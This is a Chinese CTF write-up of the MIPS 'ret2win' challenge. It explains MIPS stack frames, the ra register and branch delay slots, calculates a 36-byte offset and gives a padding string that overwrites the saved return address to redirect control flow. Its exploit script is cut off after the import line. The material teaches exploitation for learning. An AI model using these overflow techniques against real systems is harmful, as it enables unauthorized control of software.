开始做第一个题目:ret2win。
MIPS指令基本分析
首先简单对MIPS程序的指令进行分析。
函数初始化过程:
- 首先是开辟栈帧,通过给sp寄存器加上一个负数的方式,来开辟栈帧空间。
- 保存ra寄存器到栈上,即将函数执行完毕后的返回地址到本函数的栈上,因为本函数如果调用了子函数,ra寄存器会被使用。
- 保存fp寄存器到栈上,fp中保存了上一个函数的栈顶,也就是上一个函数的sp。
- 将当前的栈顶sp保存到fp中,现在不是很能说清楚这个操作的含义,可能是用来在调用子函数的时候,恢复本函数的栈顶
- 读取GOT上的偏移到gp中,然后将gp的值保存到栈上。对于ra寄存器,是用来保存返回地址的(return address),在MIPS的缓冲区溢出中,需要通过溢出修改掉在函数初始化时保存在栈上的ra寄存器值。等函数执行完毕之后,就从栈上恢复值到ra寄存器,并跳转执行。意思就是,MIPS架构中劫持ra寄存器是劫持控制流的关键。
1
2
3
4
5
6.text:00400830 addiu $sp, -0x20 # 开辟栈帧
.text:00400834 sw $ra, 0x18+var_s4($sp) # 保存函数返回地址到栈上
.text:00400838 sw $fp, 0x18+var_s0($sp) # 保存栈帧寄存器到栈上
.text:0040083C move $fp, $sp
.text:00400840 li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0)
.text:00400848 sw $gp, 0x18+var_8($sp) # 将gp也保存到了栈上
函数的退出过程:
- 从栈上恢复先前保存的gp
- 给v0寄存器赋值0,v0和v1寄存器一般用来保存函数的返回值
- 将fp赋值给sp,但是在本函数中没有操作sp和fp,因此,sp=sp没有发生变化
- 从栈上恢复ra和fp,也就是恢复函数返回地址、上一个函数的fp
- 恢复栈帧,实现堆栈平衡
- 跳转到ra,也就是函数返回地址,随后的一个nop指令是指令延迟槽,会被执行
1
2
3
4
5
6
7
8.text:004008D4 lw $gp, 0x18+var_8($fp)
.text:004008D8 move $v0, $zero
.text:004008DC move $sp, $fp
.text:004008E0 lw $ra, 0x18+var_s4($sp)
.text:004008E4 lw $fp, 0x18+var_s0($sp)
.text:004008E8 addiu $sp, 0x20
.text:004008EC jr $ra
.text:004008F0 nop
一个函数跳转的实现:
- MIPS架构中,小于等于4个参数使用寄存器a0~a3进行参数传递
- 在调用setvbuf时,先将函数地址赋值给v0,然后再赋值给t9,最后jalr跳转到函数执行
- jalr跳转指令下还有一个nop指令,这个指令是MIPS的分支延迟槽,分支延迟槽和MIPS的流水线相关,此处不展开细说,大概就是分支(b指令)和跳转(j指令)后的一条指令会随着分支和跳转指令执行完毕后自动执行。分支延迟槽也通常被用于设置一个函数传参,例如就可以把li $a2, 2这条指令放到分支延迟槽中。
1
2
3
4
5
6
7
8.text:00400854 move $a3, $zero # n
.text:00400858 li $a2, 2 # modes
.text:0040085C move $a1, $zero # buf
.text:00400860 move $a0, $v0 # stream
.text:00400864 la $v0, setvbuf
.text:00400868 move $t9, $v0
.text:0040086C jalr $t9 ; setvbuf
.text:00400870 nop
缓冲区溢出
1 | int pwnme() |
缓冲区起始地址sp+18h,ra保存在sp+3ch,因此,填充24h=36字节,随后的4个字节数据便可以覆盖掉函数返回地址。
1 | .text:004008F8 sw $ra, 0x38+var_s4($sp) |
构造字符串如下,便可以覆盖掉返回地址为:dead
1 | aaaabaaacaaadaaaeaaafaaagaaahaaaiaaadead |
通过搜索字符串,可以看到有一个函数ret2win提供了输入flag的命令,那么ROP跳转过去即可
1 | int ret2win() |
exp
1 | from pwn import * |